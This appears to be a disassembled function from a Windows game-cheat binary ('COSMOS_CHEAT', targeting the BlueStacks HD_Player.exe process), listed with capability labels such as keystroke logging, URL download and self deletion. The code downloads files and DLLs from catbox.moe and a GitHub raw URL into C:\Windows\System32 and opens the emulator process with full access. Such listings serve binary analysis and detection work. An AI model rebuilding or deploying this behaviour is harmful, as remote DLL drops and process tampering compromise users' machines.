Function at 0x14005d590
Capabilities:
Check for time delay via gettickcount
Check mutex and terminate process on windows
Check mutex on windows
Create process on windows
Create thread
Download url
Enumerate processes
Hide graphical window
Log keystrokes via polling
Receive data
Self delete
Set registry value
Terminate process
Terminate process by name

Disassembly:
push rbp
push r15
lea rbp, [rsp - 0xd78]
sub rsp, 0xe78
mov ecx, 8
call fcn.1400c4c14
lea rcx, [0x1400562c0]
xor r15d, r15d
mov r9, rax
lea r8, [0x140063f20]
xor edx, edx
mov qword [rax], rcx
lea rcx, [rbp + 8]
mov qword [rsp + 0x28], rcx
xor ecx, ecx
mov dword [rsp + 0x20], r15d
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__beginthreadex]
mov qword [rbp], rax
test rax, rax
je 0x140061e3b
mov qword [rsp + 0xe70], r12
cmp dword [rbp + 8], r15d
je 0x140061e2f
movaps xmm0, xmmword [rbp]
lea rcx, [rbp + 0x50]
movdqa xmmword [rbp + 0x50], xmm0
call qword [sym.imp.MSVCP140.dll__Thrd_detach]
test eax, eax
jne 0x140061e2f
xorps xmm0, xmm0
movdqa xmmword [rbp], xmm0
call fcn.140056320
movups xmm0, xmmword [str.https:__files.catbox.moe_pfdkda.wav]
mov eax, dword [0x1400e8350]
lea r8, str.C:_Users_WindowsSystem32opcionActivada.wav
movups xmm1, xmmword [0x1400e8340]
mov dword [rbp + 0x4b8], eax
mov edx, 0x104
mov eax, dword [0x1400e8378]
lea rcx, [rbp + 0x770]
movups xmmword [rbp + 0x498], xmm0
mov dword [rbp + 0x4e0], eax
movups xmm0, xmmword [str.https:__files.catbox.moe_3s629d.wav]
mov eax, dword [0x1400e83a0]
movups xmmword [rbp + 0x4a8], xmm1
mov dword [rbp + 0x508], eax
movups xmm1, xmmword [0x1400e8368]
movups xmmword [rbp + 0x4c0], xmm0
movups xmm0, xmmword [str.https:__files.catbox.moe_yq4iwz.wav]
movups xmmword [rbp + 0x4d0], xmm1
movups xmm1, xmmword [0x1400e8390]
movups xmmword [rbp + 0x4e8], xmm0
movups xmmword [rbp + 0x4f8], xmm1
call qword [sym.imp.api_ms_win_crt_string_l1_1_0.dll_strcpy_s]
lea r8, str.C:_Users_WindowsSystem32logintrick.wav
mov edx, 0x104
lea rcx, [rbp + 0x880]
call qword [sym.imp.api_ms_win_crt_string_l1_1_0.dll_strcpy_s]
lea r8, str.C:_Users_WindowsSystem32opcionDesactivado.wav
mov edx, 0x104
lea rcx, [rbp + 0x990]
call qword [sym.imp.api_ms_win_crt_string_l1_1_0.dll_strcpy_s]
xor r9d, r9d
mov qword [rsp + 0x20], r15
lea r8, [rbp + 0x770]
xor ecx, ecx
lea rdx, [rbp + 0x498]
call qword [sym.imp.urlmon.dll_URLDownloadToFileA]
xor r9d, r9d
mov qword [rsp + 0x20], r15
lea r8, [rbp + 0x880]
xor ecx, ecx
lea rdx, [rbp + 0x4c0]
call qword [sym.imp.urlmon.dll_URLDownloadToFileA]
xor r9d, r9d
mov qword [rsp + 0x20], r15
lea r8, [rbp + 0x990]
xor ecx, ecx
lea rdx, [rbp + 0x4e8]
call qword [sym.imp.urlmon.dll_URLDownloadToFileA]
movups xmm0, xmmword [str.https:__github.com_cosmos21312_cosmos21312_raw_main_glew32.dll]
mov eax, dword [0x1400e8468]
lea r8, str.C:_Windows_System32_glew32.dll
movups xmm1, xmmword [0x1400e8440]
mov dword [rbp + 0x3c8], eax
mov edx, 0x104
movzx eax, word [0x1400e846c]
lea rcx, [rbp + 0xaa0]
movups xmmword [rbp + 0x390], xmm0
mov word [rbp + 0x3cc], ax
movups xmm0, xmmword [0x1400e8450]
movzx eax, byte [0x1400e846e]
movups xmmword [rbp + 0x3a0], xmm1
mov byte [rbp + 0x3ce], al
movups xmmword [rbp + 0x3b0], xmm0
movsd xmm0, qword [0x1400e8460]
movsd qword [rbp + 0x3c0], xmm0
call qword [sym.imp.api_ms_win_crt_string_l1_1_0.dll_strcpy_s]
xor r9d, r9d
mov qword [rsp + 0x20], r15
lea r8, [rbp + 0xaa0]
xor ecx, ecx
lea rdx, [rbp + 0x390]
call qword [sym.imp.urlmon.dll_URLDownloadToFileA]
movups xmm0, xmmword [str.https:__github.com_cosmos21312_cosmos21312_raw_main_glew64.dll]
movups xmm1, xmmword [0x1400e8480]
movups xmmword [rbp + 0x3d0], xmm0
movups xmm0, xmmword [0x1400e8490]
movups xmmword [rbp + 0x3e0], xmm1
movups xmmword [rbp + 0x3f0], xmm0
mov eax, dword [0x1400e84a8]
lea r8, str.C:_Windows_System32_glew64.dll
movsd xmm0, qword [0x1400e84a0]
lea rcx, [rbp + 0xbb0]
mov dword [rbp + 0x408], eax
mov edx, 0x104
movzx eax, word [0x1400e84ac]
mov word [rbp + 0x40c], ax
movzx eax, byte [0x1400e84ae]
mov byte [rbp + 0x40e], al
movsd qword [rbp + 0x400], xmm0
call qword [sym.imp.api_ms_win_crt_string_l1_1_0.dll_strcpy_s]
xor r9d, r9d
mov qword [rsp + 0x20], r15
lea r8, [rbp + 0xbb0]
xor ecx, ecx
lea rdx, [rbp + 0x3d0]
call qword [sym.imp.urlmon.dll_URLDownloadToFileA]
call fcn.140057200
call fcn.140057200
mov rdx, rax
call fcn.140057130
test eax, eax
je 0x14005d8a3
mov r8d, eax
mov dword [0x1402dfaa0], eax
xor edx, edx
mov ecx, 0x1fffff
call qword [sym.imp.KERNEL32.dll_OpenProcess]
mov qword [0x1402dfaa8], rax
call fcn.140057200
call fcn.140057200
mov rdx, rax
call fcn.140057130
test eax, eax
je 0x14005d8d6
mov r8d, eax
mov dword [0x1402dfaa0], eax
xor edx, edx
mov ecx, 0x1fffff
call qword [sym.imp.KERNEL32.dll_OpenProcess]
mov qword [0x1402dfaa8], rax
mov r8d, recv
mov qword [rsp + 0xe90], rbx
lea rdx, str.Bienvenido_
movaps xmmword [rsp + 0xe50], xmm6
lea rcx, [0x1402bd810]
call fcn.140062180
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateMutexA]
mov qword [0x1402be990], rax
test rax, rax
jne 0x14005da04
movups xmm6, xmmword [0x1402bd9b8]
mov ecx, Ordinal_50
mov qword [rbp - 0x58], r15
call fcn.1400c4c14
movups xmm0, xmmword [str._Failed_to_create_mutex._Error_code]
mov qword [rbp - 0x60], rax
lea r9, [rbp + 0x50]
mov qword [rbp - 0x50], Ordinal_41
lea r8, [rbp - 0x60]
mov qword [rbp - 0x48], Ordinal_50
lea rdx, [rbp + 0x260]
movups xmmword [rax], xmm0
movups xmm1, xmmword [0x1400e84d0]
xorps xmm0, xmm0
movdqa xmmword [rbp + 0x50], xmm6
movups xmmword [rax + 0x10], xmm1
mov ecx, dword [0x1400e84e0]
mov dword [rax + 0x20], ecx
mov byte [rax + 0x24], r15b
mov eax, dword [0x1400e7928]
movups xmmword [rbp + 0x260], xmm0
mov qword [rbp + 0x270], recv
movsd xmm0, qword [str.Notification]
movsd qword [rbp + 0x260], xmm0
mov qword [rbp + 0x278], reloc.WS2_32.dll_ntohs
mov dword [rbp + 0x268], eax
mov byte [rbp + 0x26c], r15b
call fcn.140055910
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cerr]
lea rdx, str.Failed_to_create_mutex._Error_code:
call fcn.1400625d0
mov rbx, rax
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
mov rcx, rbx
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___unsigned_long_int____ptr64]
mov rcx, rax
lea rdx, [0x1400627b0]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
mov eax, 1
jmp 0x140061d56
mov qword [rsp + 0x28], r15
lea r8, [0x14005c500]
xor r9d, r9d
mov dword [rsp + 0x20], r15d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateThread]
xor r9d, r9d
mov qword [rsp + 0x28], r15
lea r8, [0x14005d370]
mov dword [rsp + 0x20], r15d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateThread]
xor r9d, r9d
mov qword [rsp + 0x28], r15
lea r8, [0x14005c500]
mov dword [rsp + 0x20], r15d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateThread]
mov rbx, rax
test rax, rax
jne 0x14005dab4
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cerr]
lea rdx, str.Failed_to_create_thread._Error_code:
call fcn.1400625d0
mov rbx, rax
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
mov rcx, rbx
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___unsigned_long_int____ptr64]
mov rcx, rax
lea rdx, [0x1400627b0]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
mov rcx, qword [0x1402be990]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, 1
jmp 0x140061d56
mov qword [rsp + 0xe98], rsi
mov edx, 0xffffffff
mov qword [rsp + 0xea0], rdi
mov rcx, rbx
movaps xmmword [rsp + 0xdc0], xmm15
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, qword [0x1402be990]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
xor r9d, r9d
mov qword [rsp + 0x28], r15
lea r8, [0x14005c4a0]
mov dword [rsp + 0x20], r15d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateThread]
lea rcx, [0x1402dfb60]
call fcn.14006ec30
mov ebx, dword [0x1402be9c8]
test ebx, ebx
jne 0x14005dbd4
cmp qword [0x1402bea00], r15
jne 0x14005db47
mov ecx, reloc.WS2_32.dll_recv
call fcn.1400c4c14
mov qword [0x1402bea00], rax
mov dword [rax + 8], r15d
xor edx, edx
mov ecx, 2
mov ebx, r15d
mov edi, r15d
call qword [sym.imp.KERNEL32.dll_CreateToolhelp32Snapshot]
lea rdx, [rbp + 0x510]
mov dword [rbp + 0x510], 0x130
mov rcx, rax
mov rsi, rax
call qword [sym.imp.KERNEL32.dll_Process32First]
lea rdx, [rbp + 0x510]
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_Process32Next]
test eax, eax
je 0x14005dbce
nop dword [rax + rax]
lea rdx, str.HD_Player.exe
lea rcx, [rbp + 0x53c]
call qword [sym.imp.api_ms_win_crt_multibyte_l1_1_0.dll__mbsicmp]
test eax, eax
jne 0x14005dbba
mov eax, dword [rbp + 0x52c]
cmp eax, edi
jle 0x14005dbba
mov ebx, dword [rbp + 0x518]
mov edi, eax
lea rdx, [rbp + 0x510]
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_Process32Next]
test eax, eax
jne 0x14005db90
mov dword [0x1402be9c8], ebx
mov rdi, qword [0x1402bea00]
test rdi, rdi
jne 0x14005dbfe
mov ecx, reloc.WS2_32.dll_recv
call fcn.1400c4c14
mov ebx, dword [0x1402be9c8]
mov rdi, rax
mov qword [0x1402bea00], rax
mov dword [rax + 8], r15d
mov dword [rdi + 8], ebx
test ebx, ebx
jne 0x14005dc81
xor edx, edx
mov ecx, 2
call qword [sym.imp.KERNEL32.dll_CreateToolhelp32Snapshot]
lea rdx, [rbp + 0x640]
mov dword [rbp + 0x640], 0x130
mov rcx, rax
mov rsi, rax
call qword [sym.imp.KERNEL32.dll_Process32First]
lea rdx, [rbp + 0x640]
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_Process32Next]
test eax, eax
je 0x14005dc7e
nop dword [rax]
nop word [rax + rax]
lea rdx, str.HD_Player.exe
lea rcx, [rbp + 0x66c]
call qword [sym.imp.api_ms_win_crt_multibyte_l1_1_0.dll__mbsicmp]
mov ebx, dword [rbp + 0x648]
lea rdx, [rbp + 0x640]
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_Process32Next]
test eax, eax
jne 0x14005dc50
mov dword [rdi + 8], ebx
cmp dword [rdi + 8], r15d
je 0x14005dc9a
mov r8d, ebx
xor edx, edx
mov ecx, 0x1fffff
call qword [sym.imp.KERNEL32.dll_OpenProcess]
mov qword [rdi], rax
lea rax, [0x140057000]
mov dword [rbp + 0x2d0], 0x50
mov edx, 0x7f00
mov qword [rbp + 0x2d8], rax
xor ecx, ecx
mov dword [rbp + 0x2d4], 0x40
mov qword [rbp + 0x2e0], r15
mov qword [rbp + 0x2e8], r15
call qword [sym.imp.USER32.dll_LoadIconA]
mov edx, 0x7f00
xor ecx, ecx
mov qword [rbp + 0x2f0], rax
call qword [sym.imp.USER32.dll_LoadCursorA]
mov edx, 0x7f00
mov qword [rbp + 0x300], r15
mov qword [rbp + 0x2f8], rax
xor ecx, ecx
lea rax, str.COSMOS_CHEAT
mov qword [rbp + 0x308], rax
mov qword [rbp + 0x310], rax
call qword [sym.imp.USER32.dll_LoadIconA]
lea rcx, [rbp + 0x2d0]
mov qword [rbp + 0x318], rax
call qword [sym.imp.USER32.dll_RegisterClassExW]
mov edx, 0x20001
lea rcx, str.C:WindowsTempDarling.wav
call qword [sym.imp.WINMM.dll_sndPlaySoundA]
cvttss2si edi, dword [0x1402bd86c]
mov r12d, 1
mov ecx, r12d
cvttss2si esi, dword [0x1402bd868]
call qword [sym.imp.USER32.dll_GetSystemMetrics]
movss xmm0, dword [0x1402bd86c]
xor ecx, ecx
movss xmm15, dword [0x1400e94a8]
cdq
sub eax, edx
mulss xmm0, xmm15
sar eax, 1
movd xmm1, eax
cvtdq2ps xmm1, xmm1
subss xmm1, xmm0
cvttss2si ebx, xmm1
call qword [sym.imp.USER32.dll_GetSystemMetrics]
movss xmm0, dword [0x1402bd868]
lea r8, str.Example
mov qword [rsp + 0x58], r15
cdq
mov qword [rsp + 0x50], r15
sub eax, edx
mov rdx, qword [rbp + 0x310]
mov r9d, 0x80000000
mov qword [rsp + 0x48], r15
xor ecx, ecx
mov qword [rsp + 0x40], r15
sar eax, 1
mov dword [rsp + 0x38], edi
mulss xmm0, xmm15
mov dword [rsp + 0x30], esi
movd xmm1, eax
cvtdq2ps xmm1, xmm1
mov dword [rsp + 0x28], ebx
subss xmm1, xmm0
cvttss2si eax, xmm1
mov dword [rsp + 0x20], eax
call qword [sym.imp.USER32.dll_CreateWindowExW]
mov rcx, rax
mov qword [0x1402be9a0], rax
mov edx, 0xffffffec
call qword [sym.imp.USER32.dll_GetWindowLongA]
mov rcx, qword [0x1402be9a0]
mov edx, 0xffffffec
bts eax, 0x13
mov r8d, eax
call qword [sym.imp.USER32.dll_SetWindowLongA]
mov rcx, qword [0x1402be9a0]
mov r9d, 2
mov r8b, 0xff
xor edx, edx
call qword [sym.imp.USER32.dll_SetLayeredWindowAttributes]
movdqa xmm0, xmmword [0x1400e96c0]
mov rcx, qword [0x1402be9a0]
lea rdx, [rbp + 0x418]
movdqu xmmword [rbp + 0x418], xmm0
call qword [sym.imp.dwmapi.dll_DwmExtendFrameIntoClientArea]
cvttss2si r9d, dword [0x1402bd86c]
mov dword [rsp + 0x28], 0xa
xor edx, edx
xor ecx, ecx
mov dword [rsp + 0x20], 0xa
cvttss2si r8d, dword [0x1402bd868]
call qword [sym.imp.GDI32.dll_CreateRoundRectRgn]
mov rcx, qword [0x1402be9a0]
mov r8d, r12d
mov rdx, rax
call qword [sym.imp.USER32.dll_SetWindowRgn]
mov rcx, qword [0x1402be9a0]
lea rdx, [0x1402be9b8]
xorps xmm0, xmm0
movups xmmword [0x1402be9b8], xmm0
call qword [sym.imp.USER32.dll_GetWindowRect]
mov rax, qword [0x1402be9a0]
lea rbx, [0x1402f46b0]
mov qword [rsp + 0x58], rbx
lea rdi, [0x1402f4668]
mov qword [rbp + 0x230], rax
lea rsi, [0x1402f4660]
lea rax, [rbp - 0x18]
mov qword [rbp + 0x214], r15
mov qword [rsp + 0x50], rax
xor r9d, r9d
mov qword [rsp + 0x48], rdi
lea rax, [rbp + 0x200]
mov qword [rsp + 0x40], rsi
xor r8d, r8d
mov qword [rsp + 0x38], rax
mov edx, r12d
mov dword [rsp + 0x30], 7
lea rax, [rbp - 0x20]
mov dword [rsp + 0x28], 2
xor ecx, ecx
mov qword [rsp + 0x20], rax
mov qword [rbp + 0x228], 2
mov qword [rbp + 0x240], 2
mov qword [rbp + 0x200], r15
mov dword [rbp + 0x210], Ordinal_32
mov dword [rbp + 0x208], reloc.WLDAP32.dll_Ordinal_60
mov dword [rbp + 0x20c], r12d
mov dword [rbp + 0x224], reloc.WLDAP32.dll_Ordinal_32
mov qword [rbp + 0x21c], r12
mov qword [rbp + 0x238], r12
mov dword [rbp - 0x20], 0xb000
mov dword [rbp - 0x1c], 0xa000
call qword [sym.imp.d3d11.dll_D3D11CreateDeviceAndSwapChain]
mov ecx, 5
cmp eax, 0x887a0004
jne 0x14005dfe9
mov qword [rsp + 0x58], rbx
lea rax, [rbp - 0x18]
mov qword [rsp + 0x50], rax
mov edx, ecx
mov qword [rsp + 0x48], rdi
lea rax, [rbp + 0x200]
mov qword [rsp + 0x40], rsi
xor r9d, r9d
mov qword [rsp + 0x38], rax
xor r8d, r8d
mov dword [rsp + 0x30], 7
lea rax, [rbp - 0x20]
mov dword [rsp + 0x28], 2
xor ecx, ecx
mov qword [rsp + 0x20], rax
call qword [sym.imp.d3d11.dll_D3D11CreateDeviceAndSwapChain]
test eax, eax
jne 0x140061e0e
mov rcx, qword [0x1402f4660]
lea r9, [rbp - 0x10]
mov qword [rsp + 0xe68], r13
lea r8, [0x1400e7518]
mov qword [rsp + 0xe60], r14
xor edx, edx
movaps xmmword [rsp + 0xe30], xmm8
mov rax, qword [rcx]
movaps xmmword [rsp + 0xdf0], xmm12
movaps xmmword [rsp + 0xde0], xmm13
movaps xmmword [rsp + 0xdd0], xmm14
call qword [rax + 0x48]
mov rcx, qword [0x1402f4668]
lea r9, [0x1402f4658]
mov rdx, qword [rbp - 0x10]
xor r8d, r8d
mov rax, qword [rcx]
call qword [rax + 0x48]
mov rcx, qword [rbp - 0x10]
mov rax, qword [rcx]
call qword [rax + reloc.WS2_32.dll_recv]
mov rcx, qword [0x1402be9a0]
mov edx, 0xa
call qword [sym.imp.USER32.dll_ShowWindow]
mov rcx, qword [0x1402be9a0]
call qword [sym.imp.USER32.dll_UpdateWindow]
mov rbx, qword [0x1402be7b0]
test rbx, rbx
je 0x14005e095
inc dword [rbx + 0xf4]
mov rdx, qword [0x1402be7a0]
mov ecx, 0x5e00
call sub.api_ms_win_crt_heap_l1_1_0.dll_malloc
test rax, rax
je 0x14005e0b7
xor edx, edx
mov rcx, rax
call fcn.140001e50
jmp 0x14005e0ba
mov rax, r15
mov qword [0x1402be7b0], rax
call fcn.140006670
test rbx, rbx
je 0x14005e0d4
mov qword [0x1402be7b0], rbx
jmp 0x14005e0db
mov rbx, qword [0x1402be7b0]
test rbx, rbx
jne 0x14005e101
mov r8d, 0xfe3
lea rdx, str.D:PANELES_CSENSI_XEONimgui.cpp
lea rcx, str.GImGui___0___No_current_context._Did_you_call_ImGui::CreateContext___and_ImGui::SetCurrentContext_____
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__wassert]
mov rbx, qword [0x1402be7b0]
movss xmm3, dword [0x1400e9580]
lea rdi, [0x1400e37e0]
mov qword [rbp + 0x1c0], 0xffffffffffffffff
lea rdx, [0x14020caf0]
mov qword [rbp + 0x1c8], 0xffffffffffffffff
mov r8d, 0x26a20
mov qword [rbp + 0x1d0], 0xffffffffffffffff
mov qword [rbp + 0x1d8], 0xffffffffffffffff
mov dword [rbp + 0x1e0], 0xffffffff
mov qword [rbp + 0x1e4], 0xfffffffffffffffd
mov dword [rbp + 0x1ec], 0xffffffff
mov qword [rbp + 0x1f0], r15
mov rcx, qword [rbx + 0x58]
mov qword [rsp + 0x28], rdi
mov qword [rsp + 0x20], r15
call fcn.14002f9f0
movss xmm3, dword [0x1400e9598]
lea rdx, [0x140148af0]
mov rcx, qword [rbx + 0x58]
mov r8d, 0x25958
mov qword [rsp + 0x28], rdi
mov qword [rsp + 0x20], r15
call fcn.14002f9f0
movss xmm3, dword [0x1400e9578]
lea rdx, [0x14020caf0]
mov rcx, qword [rbx + 0x58]
mov r8d, 0x26a20
mov qword [rsp + 0x28], rdi
mov qword [0x1402f5c98], rax
mov qword [rsp + 0x20], r15
call fcn.14002f9f0
movss xmm6, dword [0x1400e957c]
lea rdx, [0x1402a97e0]
mov rcx, qword [rbx + 0x58]
movaps xmm3, xmm6
mov qword [rsp + 0x28], rdi
mov r8d, 0xb80
mov qword [0x1402f46d8], rax
mov qword [rsp + 0x20], r15
call fcn.14002f9f0
mov rcx, qword [0x1402f4668]
lea r9, [rbp + 0x1c0]
mov qword [0x1402f46d0], rax
lea rdx, [0x14010bd30]
lea rax, [0x1402be810]
mov qword [rsp + 0x30], r15
mov qword [rsp + 0x28], rax
mov r8d, 0x3cdba
mov qword [rsp + 0x20], r15
call qword [sym.imp.d3dx11_43.dll_D3DX11CreateShaderResourceViewFromMemory]
mov rcx, qword [0x1402f4668]
lea rax, [0x1402be8e0]
mov qword [rsp + 0x30], r15
lea r9, [rbp + 0x1c0]
mov qword [rsp + 0x28], rax
lea rdx, [0x1402aa360]
mov r8d, 0x12037
mov qword [rsp + 0x20], r15
call qword [sym.imp.d3dx11_43.dll_D3DX11CreateShaderResourceViewFromMemory]
mov rcx, qword [0x1402f4668]
lea rax, [0x1402be998]
mov qword [rsp + 0x30], r15
lea r9, [rbp + 0x1c0]
mov qword [rsp + 0x28], rax
lea rdx, [0x140286700]
mov r8d, 0x230d5
mov qword [rsp + 0x20], r15
call qword [sym.imp.d3dx11_43.dll_D3DX11CreateShaderResourceViewFromMemory]
mov rcx, qword [0x1402f4668]
lea rax, [0x1402be818]
mov qword [rsp + 0x30], r15
lea r9, [rbp + 0x1c0]
mov qword [rsp + 0x28], rax
lea rdx, [0x140233520]
mov r8d, 0x529a5
mov qword [rsp + 0x20], r15
call qword [sym.imp.d3dx11_43.dll_D3DX11CreateShaderResourceViewFromMemory]
cmp qword [0x1402be9b0], r15
jne 0x14005e32e
mov rcx, qword [0x1402f4668]
lea rax, [0x1402be9b0]
mov qword [rsp + 0x30], r15
lea r9, [rbp + 0x1c0]
mov qword [rsp + 0x28], rax
lea rdx, [0x14016e450]
mov r8d, 0x9e693
mov qword [rsp + 0x20], r15
call qword [sym.imp.d3dx11_43.dll_D3DX11CreateShaderResourceViewFromMemory]
mov rcx, qword [rbx + 0x58]
lea rdx, [0x140285ed0]
mov qword [rsp + 0x28], rdi
movaps xmm3, xmm6
mov r8d, 0x824
mov qword [rsp + 0x20], r15
call fcn.14002f9f0
xor ecx, ecx
mov qword [0x1402f5c90], rax
call fcn.1400280f0
mov rbx, qword [0x1402be7b0]
mov rsi, qword [0x1402be9a0]
test rbx, rbx
jne 0x14005e393
mov r8d, 0xfe3
lea rdx, str.D:PANELES_CSENSI_XEONimgui.cpp
lea rcx, str.GImGui___0___No_current_context._Did_you_call_ImGui::CreateContext___and_ImGui::SetCurrentContext_____
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__wassert]
mov rbx, qword [0x1402be7b0]
cmp qword [rbx + 0x98], r15
je 0x14005e3b6
mov r8d, reloc.WS2_32.dll_WSACleanup
lea rdx, str.D:PANELES_CSENSI_XEON_backendsimgui_impl_win32.cpp
lea rcx, str.io.BackendPlatformUserData__nullptr___Already_initialized_a_platform_backend__
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__wassert]
lea rcx, [rbp + 0x20]
call qword [sym.imp.KERNEL32.dll_QueryPerformanceFrequency]
test eax, eax
je 0x14005e52d
lea rcx, [rbp + 0x18]
call qword [sym.imp.KERNEL32.dll_QueryPerformanceCounter]
test eax, eax
je 0x14005e52d
mov rax, qword [0x1402be7b0]
test rax, rax
je 0x14005e3ec
inc dword [rax + 0xf4]
mov rdx, qword [0x1402be7a0]
mov ecx, 0x48
call sub.api_ms_win_crt_heap_l1_1_0.dll_malloc
mov rdi, rax
test rax, rax
je 0x14005e41f
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rdi], xmm0
movups xmmword [rdi + 0x10], xmm0
movups xmmword [rdi + 0x20], xmm0
movups xmmword [rdi + 0x30], xmm0
mov qword [rdi + 0x40], rax
jmp 0x14005e422
mov rdi, r15
or dword [rbx + 0xc], 6
lea rax, str.imgui_impl_win32
mov qword [rbx + 0x88], rax
mov qword [rbx + 0x98], rdi
mov rbx, qword [0x1402be7b0]
mov qword [rdi], rsi
mov rax, qword [rbp + 0x20]
mov qword [rdi + 0x20], rax
mov rax, qword [rbp + 0x18]
mov qword [rdi + 0x18], rax
mov dword [rdi + 0x28], 9
cmp dword [rbx + 0x48a0], r15d
jg 0x14005e47f
mov r8d, 0x6fd
lea rdx, str.D:PANELES_CSENSI_XEONimgui.h
lea rcx, str.i___0__i___Size
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__wassert]
mov rax, qword [rbx + 0x48a8]
mov rbx, r15
mov rcx, qword [rax]
lea rax, str.xinput1_4.dll
mov qword [rbp + 0x280], rax
lea rax, str.xinput1_3.dll
mov qword [rbp + 0x288], rax
lea rax, str.xinput9_1_0.dll
mov qword [rbp + 0x290], rax
lea rax, str.xinput1_2.dll
mov qword [rbp + 0x298], rax
lea rax, str.xinput1_1.dll
mov qword [rcx + 0x28], rsi
mov qword [rbp + 0x2a0], rax
mov byte [rdi + 0x2d], r12b
nop word [rax + rax]
mov rcx, qword [rbp + rbx*8 + 0x280]
call qword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov rsi, rax
test rax, rax
jne 0x14005e501
inc rbx
cmp rbx, 5
jl 0x14005e4e0
jmp 0x14005e52d
lea rdx, str.XInputGetCapabilities
mov qword [rdi + 0x30], rsi
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
lea rdx, str.XInputGetState
mov rcx, rsi
mov qword [rdi + 0x38], rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [rdi + 0x40], rax
mov rax, qword [0x1402be7b0]
mov r14, qword [0x1402f46b0]
mov rsi, qword [0x1402f4668]
test rax, rax
jne 0x14005e568
mov r8d, 0xfe3
lea rdx, str.D:PANELES_CSENSI_XEONimgui.cpp
lea rcx, str.GImGui___0___No_current_context._Did_you_call_ImGui::CreateContext___and_ImGui::SetCurrentContext_____
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__wassert]
mov rax, qword [0x1402be7b0]
lea rdi, [rax + 8]
cmp qword [rdi + 0x98], r15
je 0x14005e596
mov r8d, 0x221
lea rdx, str.D:PANELES_CSENSI_XEON_backendsimgui_impl_dx11.cpp
lea rcx, str.io.BackendRendererUserData__nullptr___Already_initialized_a_renderer_backend__
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__wassert]
mov rax, qword [0x1402be7b0]
test rax, rax
je 0x14005e5a1
inc dword [rax + 0xf4]
mov rdx, qword [0x1402be7a0]
mov ecx, 0x78
call sub.api_ms_win_crt_heap_l1_1_0.dll_malloc
mov rbx, rax
test rax, rax
je 0x14005e5e8
xorps xmm0, xmm0
movups xmmword [rax], xmm0
movups xmmword [rax + 0x10], xmm0
movups xmmword [rax + 0x20], xmm0
movups xmmword [rax + 0x30], xmm0
movups xmmword [rax + 0x40], xmm0
movups xmmword [rax + 0x50], xmm0
movups xmmword [rax + 0x60], xmm0
mov dword [rax + 0x70], 0x1388
mov dword [rax + 0x74], 0x2710
jmp 0x14005e5eb
mov rbx, r15
or dword [rdi + 4], 8
lea rax, str.imgui_impl_dx11
mov qword [rdi + 0x88], rax
lea r8, [rbp + 0x28]
mov qword [rdi + 0x98], rbx
lea rdx, [0x1400e4ac0]
mov rax, qword [rsi]
mov rcx, rsi
mov qword [rbp + 0x28], r15
mov qword [rbp + 0x30], r15
mov qword [rbp + 0x178], r15
call qword [rax]
test eax, eax
jne 0x14005e671
mov rcx, qword [rbp + 0x28]
lea r8, [rbp + 0x30]
lea rdx, [0x1400e4ad0]
mov rax, qword [rcx]
call qword [rax + Ordinal_50]
test eax, eax
jne 0x14005e671
mov rcx, qword [rbp + 0x30]
lea r8, [rbp + 0x178]
lea rdx, [0x1400e4ae0]
mov rax, qword [rcx]
call qword [rax + Ordinal_50]
test eax, eax
jne 0x14005e671
mov qword [rbx], rsi
mov qword [rbx + 8], r14
mov rax, qword [rbp + 0x178]
mov qword [rbx + 0x10], rax
mov rcx, qword [rbp + 0x28]
test rcx, rcx
je 0x14005e680
mov rax, qword [rcx]
call qword [rax + reloc.WS2_32.dll_recv]
mov rcx, qword [rbp + 0x30]
test rcx, rcx
je 0x14005e68f
mov rax, qword [rcx]
call qword [rax + reloc.WS2_32.dll_recv]
mov rcx, qword [rbx]
mov rax, qword [rcx]
call qword [rax + reloc.WS2_32.dll_htonl]
mov rcx, qword [rbx + 8]
mov rax, qword [rcx]
call qword [rax + reloc.WS2_32.dll_htonl]
mov rax, qword [0x1402be7b0]
